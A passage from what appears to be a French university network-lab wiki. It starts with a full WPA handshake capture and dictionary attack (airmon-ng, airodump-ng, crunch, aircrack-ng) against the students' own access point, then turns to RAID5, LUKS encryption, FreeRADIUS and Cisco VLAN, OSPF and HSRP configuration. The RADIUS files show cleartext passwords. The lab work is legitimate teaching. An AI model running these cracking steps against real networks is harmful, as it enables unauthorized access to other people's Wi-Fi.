 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:&lt;br /&gt;
&lt;br /&gt;
 apt-get install lvm2 cryptsetup&lt;br /&gt;
&lt;br /&gt;
On affiche les périphériques USB disponibles:&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
Attention ces étapes ont pour but de supprimer le contenu de la clé USB:&lt;br /&gt;
&lt;br /&gt;
 fdsik /dev/sda&lt;br /&gt;
 d //permet de supprimer les partitions &lt;br /&gt;
 w // on sauvegarde les modifications &lt;br /&gt;
 n // on crée une nouvelle partition&lt;br /&gt;
 p // pour la rendre primaire &lt;br /&gt;
 1 // on lui donne un numéro de partition &lt;br /&gt;
&lt;br /&gt;
On garde le volume du disque par défaut proposé. &lt;br /&gt;
&lt;br /&gt;
La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé&lt;br /&gt;
&lt;br /&gt;
Chiffrage du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sda1&lt;br /&gt;
  &lt;br /&gt;
Ouverture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup open --type luks /dev/sda1 home&lt;br /&gt;
 &lt;br /&gt;
Création du système de fichiers&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Montage du périphérique&lt;br /&gt;
&lt;br /&gt;
 mount -t ext4 /dev/mapper/home /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Démontage physique du périphérique&lt;br /&gt;
&lt;br /&gt;
 umount /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Fermeture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup close --type luks home&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
